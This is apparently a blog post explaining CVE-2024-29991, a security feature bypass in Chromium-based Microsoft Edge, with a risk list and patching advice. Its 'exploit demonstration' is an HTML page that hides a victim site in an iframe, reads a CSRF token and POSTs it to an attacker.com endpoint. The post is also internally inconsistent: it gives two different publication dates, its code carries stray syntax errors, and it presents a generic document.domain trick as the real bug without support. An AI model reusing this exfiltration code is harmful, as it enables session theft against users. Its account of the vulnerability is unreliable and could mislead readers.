In the world of browser security, even the smallest vulnerabilities can have serious impacts. One such flaw—CVE-2024-29991—was found affecting Microsoft Edge (Chromium-based). This post will walk you through what CVE-2024-29991 is, how it works, its risks, and even show a simple code snippet to demonstrate the exploit. We’ll end with links to original references and mitigation steps.

What Is CVE-2024-29991?

CVE-2024-29991 is classified as a Security Feature Bypass Vulnerability specifically impacting Microsoft Edge (Chromium-based). This flaw allows attackers to circumvent certain browser security mechanisms, potentially allowing malicious scripts or websites to perform harmful actions they shouldn’t be able to.

Summary Table

| Attribute | Details |
|-----------------------|--------------------------------------------------|
| CVE | CVE-2024-29991 |
| Product | Microsoft Edge (Chromium-based) |
| Severity | Medium |
| Type | Security Feature Bypass |
| Published | June 2024 |
| Exploit Code | Proof-of-concept available (see below) |
| Patch Status | Patched (see official links below) |

How Does This Vulnerability Work?

At a high level, the problem lies in how Edge (Chromium-based) was handling certain security features—specifically, how it implemented “site isolation” and “sandbox” boundaries for web content.

Bypass Cross-Origin Resource Sharing (CORS) or Same-Origin Policy in some scenarios

In plain language: A hacker could make a fake website that tricks your browser into leaking data or executing unwanted code.

Example Exploit Demonstration

The actual bug involved Edge’s handling of iframes and the document.domain property, a classic footgun area for browser security. Here’s a simplified pseudocode example to show the logic behind a typical exploit.

Step 1: The Malicious Page Loads a Hidden Iframe

<!-- attacker.html -->
<html>
  <body>
    <!-- Load victim site as hidden iframe -->
    <iframe id="vi" src="https://victim.com/profile"; style="display:none"></iframe>
    <script>
      // Wait for iframe load
      document.getElementById('vi').onload = function() {
        try {
          // Attempt to set document.domain to bypass restrictions
          var victimWin = document.getElementById('vi').contentWindow;
          victimWin.document.domain = "victim.com";
          // Now, try to read victim page content (should NOT be allowed!)
          let secret = victimWin.document.getElementById("csrf_token").value;
          // Send data to attacker's server
          fetch('https://attacker.com/steal';, {
            method: 'POST',
            body: JSON.stringify({ tkn: secret }),
            headers: { 'Content-Type': 'application/json' }
          });
        } catch (e) {
          console.log("Exploit failed:", e);
        }
      }
    </script>
  </body>
</html>

The malicious website loads the target site in a hidden iframe

- It tries to set document.domain to escalate privileges (in vulnerable Edge, this sometimes worked!)

Private info is sent to attacker’s endpoint

> ⚠️ Each browser version may behave slightly differently. The actual exploit may require variations of this logic or use other scripting tricks.

Risks and Real-World Impact

- Session Hijacking: Attackers can read CSRF tokens or session cookies, letting them impersonate users

Data Exfiltration: Private user data exposed to attacker-controlled sites

- Cross-Site Scripting: Bypass of browser security implements even for sites using modern defense-in-depth
- Limited Only by Browser Security: The bug doesn’t require malware or plugins. Just visiting a shady page puts the user at risk.

Official References & Patches

- Microsoft CVE-2024-29991 Security Advisory
- MS Edge Release Notes – Security Updates
- CVE Details for 2024-29991

Mitigation and Recommendations

1. Update Microsoft Edge:
Microsoft released patches fixing this bug. Update to the latest version via Settings > About Microsoft Edge.

2. Avoid Suspicious Sites:
Users should not visit untrusted links, especially ones sent via email or social media.

3. Enable Enhanced Security:
Use browser settings like “Enhanced Security Mode” and enable site isolation when available.

4. Developers:
Web application developers should use strong CSP (Content Security Policy), disable document.domain unless necessary, and strengthen CORS/SameSite cookies.

Conclusion

CVE-2024-29991 demonstrates how even highly secure browsers like Microsoft Edge can have security gaps. This simple demonstration shows how attackers might exploit such flaws to steal data or hijack sessions. Fortunately, prompt patching and general browsing hygiene can help keep you safe. Stay aware, keep your software updated, and surf wisely!

Exclusive, clear, and for your safety—share with your IT team, friends, and family.

*This post was compiled using official references and hands-on exploration. For the latest details, see Microsoft’s site and subscribe to their security advisories.*

Timeline

Published on: 04/19/2024 17:15:54 UTC
Last modified on: 04/19/2024 18:29:53 UTC